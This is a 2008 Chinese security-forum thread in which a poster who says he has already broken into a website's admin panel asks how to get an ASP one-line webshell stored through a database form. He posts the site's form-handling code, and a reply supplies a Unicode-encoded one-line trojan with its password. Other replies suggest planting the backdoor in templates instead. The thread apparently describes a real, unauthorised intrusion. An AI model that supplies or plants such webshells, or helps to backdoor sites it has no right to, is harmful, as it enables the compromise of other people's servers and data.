【3.A.S.T】网络安全爱好者 » 技术交流 » [讨论]如何将一句话木马闭合

冰绿茶 发表于 2008-7-24 17:19

[讨论]如何将一句话木马闭合

[讨论]如何将一句话木马闭合
议题作者：xxzk1984
信息来源：邪恶八进制信息安全团队（[url=http://www.eviloctal.com/]www.eviloctal.com[/url]）

昨天研究一个站，进入了后台，如图1所示
由于通过其他方式拿到了网站的代码，所以知道其数据库为asp的，想到了在添加新网址的那里插入一句话马。
所以加入一句话马，如图2所示
但提交后提示“表单不完整!”
[img]http://forum.eviloctal.com/images/default/attachimg.gif[/img]  [img]http://forum.eviloctal.com/attachments/Mon_0712/58_3384_16ef16656d4e99b.gif[/img] [img]http://forum.eviloctal.com/images/attachicons/image.gif[/img][url=http://forum.eviloctal.com/attachment.php?aid=7023&nothumb=yes]2.gif[/url] (492 KB)


2007-12-12 18:03[img]http://forum.eviloctal.com/images/default/attachimg.gif[/img]  [img]http://forum.eviloctal.com/attachments/Mon_0712/58_3384_1943d41f7a809bb.gif[/img] [img]http://forum.eviloctal.com/images/attachicons/image.gif[/img][url=http://forum.eviloctal.com/attachment.php?aid=7024&nothumb=yes]3.gif[/url] (295 KB)

2007-12-12 18:03[img]http://forum.eviloctal.com/images/default/attachimg.gif[/img]  [img]http://forum.eviloctal.com/attachments/Mon_0712/58_3384_ff46330e2cf547c.gif[/img] [img]http://forum.eviloctal.com/images/attachicons/image.gif[/img][url=http://forum.eviloctal.com/attachment.php?aid=7025&nothumb=yes]4.gif[/url] (234 KB)

2007-12-12 18:03  
所以考虑到是不是asp木马没有闭合的问题，改变方法如图3所示
实在是搞不动程序怎么做的限制，兄弟们帮探讨探讨。。
表单提交的代码如下：
Code Language : ASP
<%
if Session(\"isAdmin\")<>true Then
Response.Write \"非法闯入！\"
Response.End
End if
%>
<!--#include file=\"conn.asp\"-->
<%
title=request(\"title\")
url=request(\"url\")
leibie=request(\"leibie\")
memo=request(\"memo\")
if title=\"\" or url=\"\" or leibie=\"\" then
   response.write \"<font color='red'>表单不完整!</font><br>\"
else
   set r=server.createobject(\"adodb.recordset\")
   r.open \"select * from detail where title='\"&title&\"'\",conn,1,3
   r.addnew
     r(\"title\")=title
     r(\"url\")=url
     if memo=\"\" then
       r(\"memo\")=\" \"&memo
     else
       r(\"memo\")=memo
     end if
     r(\"classid\")=leibie
     r(\"verity\")=1
     r.update
     response.write \"<font color='red'>新网站添加成功!</font><br>\"
     response.write \"<a href='#' onclick='window.close()'>关闭本窗口</a>\"
end if
%>
Parsed in 0.007 seconds
谢谢了
ps：麻烦冰血帮我转为正式的吧，要不老发贴讨论感觉好麻烦的哦。
帖子9 精华[url=http://forum.eviloctal.com/digest.php?authorid=3384]0[/url] 积分28 阅读权限40 在线时间41 小时 注册时间2005-4-7 最后登录2008-7-11 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=3384]查看详细资料[/url]TOP [url=http://www.google.cn/search?q=猎头&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]您知道您年薪应是多少?[/url]

[url=http://forum.eviloctal.com/space-uid-80082.html]沉渊[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
晶莹剔透§烈日灼然

colin 发表于 2008-7-24 17:19

if title="" or url="" or leibie="" then
      response.write "<font color=&#39;red&#39;>表单不完整!</font><br>"
把这3个地方填完Dreamless world……
帖子25 精华[url=http://forum.eviloctal.com/digest.php?authorid=80082]0[/url] 积分179 阅读权限40 性别男 在线时间215 小时 注册时间2007-2-11 最后登录2008-6-30 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=80082]查看详细资料[/url]TOP [url=http://www.google.cn/search?q=DHC化妆品&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]让女孩一夜变的更有女人味[/url]

[url=http://forum.eviloctal.com/space-uid-141734.html]゛小︷帅！﹊[/url] [img]http://forum.eviloctal.com/images/avatars/14.gif[/img]
晶莹剔透§烈日灼然

小明 发表于 2008-7-24 17:19

复制内容到剪贴板
代码:
if title="" or url="" or leibie="" then
      response.write "<font color=&#39;red&#39;>表单不完整!</font><br>"
呵呵，这个地方没写完..。

楼主在本地测试吧？
[url=http://forum.eviloctal.com/javascript:;][img]http://forum.eviloctal.com/images/default/msnadd.gif[/img][/url] [url=http://forum.eviloctal.com/javascript:;][img]http://forum.eviloctal.com/images/default/msnchat.gif[/img][/url] [url=http://wpa.qq.com/msgrd?V=1&Uin=276653168&Site=邪恶八进制信息安全团队技术讨论组&Menu=yes][img]http://forum.eviloctal.com/images/default/qq.gif[/img][/url] [url=http://wwp.icq.com/scripts/search.dll?to=276653168][img]http://forum.eviloctal.com/images/default/icq.gif[/img][/url]
帖子58 精华[url=http://forum.eviloctal.com/digest.php?authorid=141734]0[/url] 积分155 阅读权限40 来自杭州 在线时间152 小时 注册时间2007-9-29 最后登录2008-7-16 [url=http://www.xshacker.cn]查看个人网站[/url]
[url=http://forum.eviloctal.com/space.php?action=viewpro&uid=141734]查看详细资料[/url]TOP [url=http://www.google.cn/search?q=风水&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]良辰择日，预测咨询，公司改名，权威易经[/url]

[url=http://forum.eviloctal.com/space-uid-3384.html]xxzk1984[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
晶莹剔透§烈日灼然

沙王 发表于 2008-7-24 17:19

[url=https://forum.eviloctal.com/p_w_upload/Mon_0712/58_3384_ff46330e2cf547c.gif]https://forum.eviloctal.com/p_w_ ... ff46330e2cf547c.gif[/url]
从这个图就可以看出来我提交的是完整的啊。但是我填入后他提示信息不完整，非本地测试。
帖子9 精华[url=http://forum.eviloctal.com/digest.php?authorid=3384]0[/url] 积分28 阅读权限40 在线时间41 小时 注册时间2005-4-7 最后登录2008-7-11 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=3384]查看详细资料[/url]TOP

[url=http://forum.eviloctal.com/space-uid-66411.html]hackest[/url] [img]http://forum.eviloctal.com/customavatars/66411.gif[/img]
运维管理组
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img]

青蛙 发表于 2008-7-24 17:19

类别，没选
[img]http://forum.eviloctal.com/images/smilies/yangcong/59.gif[/img]My Blog：http://www.hackest.cn/ [H.S.T]：http://www.hackm.com/
[url=http://forum.eviloctal.com/javascript:;][img]http://forum.eviloctal.com/images/default/msnadd.gif[/img][/url] [url=http://forum.eviloctal.com/javascript:;][img]http://forum.eviloctal.com/images/default/msnchat.gif[/img][/url] [url=http://wpa.qq.com/msgrd?V=1&Uin=297521327&Site=邪恶八进制信息安全团队技术讨论组&Menu=yes][img]http://forum.eviloctal.com/images/default/qq.gif[/img][/url]
帖子882 精华[url=http://forum.eviloctal.com/digest.php?authorid=66411]20[/url] 积分5849 阅读权限150 性别男 来自广东 在线时间941 小时 注册时间2006-10-12 最后登录2008-3-3 [url=http://www.hackest.cn/]查看个人网站[/url]
[url=http://forum.eviloctal.com/space.php?action=viewpro&uid=66411]查看详细资料[/url]TOP [url=http://www.google.cn/search?q=干洗店加盟&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]少女暴富的隐秘（图）[/url]

[url=http://forum.eviloctal.com/space-uid-5154.html]优格[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
荣誉会员
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img]

小小鱼儿 发表于 2008-7-24 17:19

一句话木马用这个看看
复制内容到剪贴板
代码:
┼癥污爠煥敵瑳∨∣┩>
密码是#
能在数据库中执行
帖子227 精华[url=http://forum.eviloctal.com/digest.php?authorid=5154]2[/url] 积分797 阅读权限100 性别男 在线时间123 小时 注册时间2005-5-29 最后登录2008-7-23 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=5154]查看详细资料[/url]TOP [url=http://www.google.cn/search?q=干洗店加盟&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]少女暴富的隐秘（图）[/url]

[url=http://forum.eviloctal.com/space-uid-3384.html]xxzk1984[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
晶莹剔透§烈日灼然

一刀 发表于 2008-7-24 17:19

引用:
引用第4楼hackest于2008-01-01 12:38发表的 :
类别，没选
[img]http://forum.eviloctal.com/images/smilies/yangcong/59.gif[/img]
可能当时抓的图没有，但是当时我选择了。
帖子9 精华[url=http://forum.eviloctal.com/digest.php?authorid=3384]0[/url] 积分28 阅读权限40 在线时间41 小时 注册时间2005-4-7 最后登录2008-7-11 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=3384]查看详细资料[/url]TOP [url=http://www.google.cn/search?q=DHC化妆品&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]让女孩一夜变的更有女人味[/url]

[url=http://forum.eviloctal.com/space-uid-3384.html]xxzk1984[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
晶莹剔透§烈日灼然

风云1号 发表于 2008-7-24 17:19

引用:
引用第5楼优格于2008-01-04 00:08发表的 :
一句话木马用这个看看
复制内容到剪贴板
代码:
┼癥污爠煥敵瑳∨∣┩>
密码是#
能在数据库中执行
这个是什么代码 。。。怎么没看懂呢。。
帖子9 精华[url=http://forum.eviloctal.com/digest.php?authorid=3384]0[/url] 积分28 阅读权限40 在线时间41 小时 注册时间2005-4-7 最后登录2008-7-11 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=3384]查看详细资料[/url]TOP

[url=http://forum.eviloctal.com/space-uid-88700.html]hack4521[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
晶莹剔透§烈日灼然

陈和陈 发表于 2008-7-24 17:19

引用:
引用第7楼xxzk1984于2008-01-04 22:10发表的 :

这个是什么代码 。。。怎么没看懂呢。。
这上是他转换成unicod格式的一句话木马。。
一般在数据库里用。
不知道asp会不会认它？
帖子8 精华[url=http://forum.eviloctal.com/digest.php?authorid=88700]0[/url] 积分30 阅读权限40 在线时间13 小时 注册时间2007-3-9 最后登录2008-5-21 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=88700]查看详细资料[/url]TOP

[url=http://forum.eviloctal.com/space-uid-48403.html]kazhi12[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
晶莹剔透§烈日灼然

平凡人 发表于 2008-7-24 17:19

这后台看着功能还不错
为什么要在这页面
一句话加别的地方不行?

9-14 行就是关键我讲你来的时候我会让你的鲜血顺着我的刀流下
[url=http://wpa.qq.com/msgrd?V=1&Uin=526933593&Site=邪恶八进制信息安全团队技术讨论组&Menu=yes][img]http://forum.eviloctal.com/images/default/qq.gif[/img][/url]
帖子7 精华[url=http://forum.eviloctal.com/digest.php?authorid=48403]0[/url] 积分22 阅读权限40 性别男 来自地球 在线时间14 小时 注册时间2006-5-15 最后登录2008-4-18 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=48403]查看详细资料[/url]TOP

[url=http://forum.eviloctal.com/space-uid-67862.html]simpleboy[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
晶莹剔透§烈日灼然

ROCKY 发表于 2008-7-24 17:19

为什么不加在模版 里面啊  [img]http://forum.eviloctal.com/images/smilies/yangcong/63.gif[/img]只做安静的观众
帖子72 精华[url=http://forum.eviloctal.com/digest.php?authorid=67862]2[/url] 积分224 阅读权限40 在线时间42 小时 注册时间2006-10-23 最后登录2008-7-2 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=67862]查看详细资料[/url]TOP

[url=http://forum.eviloctal.com/space-uid-138826.html]chenck[/url] [img]http://forum.eviloctal.com/images/avatars/pw/kawayi1.gif[/img]
晶莹剔透§烈日灼然

东方小黄 发表于 2008-7-24 17:19

呵呵，我是新手，关注中。我也想问了，为什么不再模板里加啊。
帖子2 精华[url=http://forum.eviloctal.com/digest.php?authorid=138826]0[/url] 积分9 阅读权限40 在线时间2 小时 注册时间2007-9-8 最后登录2008-1-11 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=138826]查看详细资料[/url]TOP

[url=http://forum.eviloctal.com/space-uid-3384.html]xxzk1984[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
晶莹剔透§烈日灼然

查看完整版本: [讨论]如何将一句话木马闭合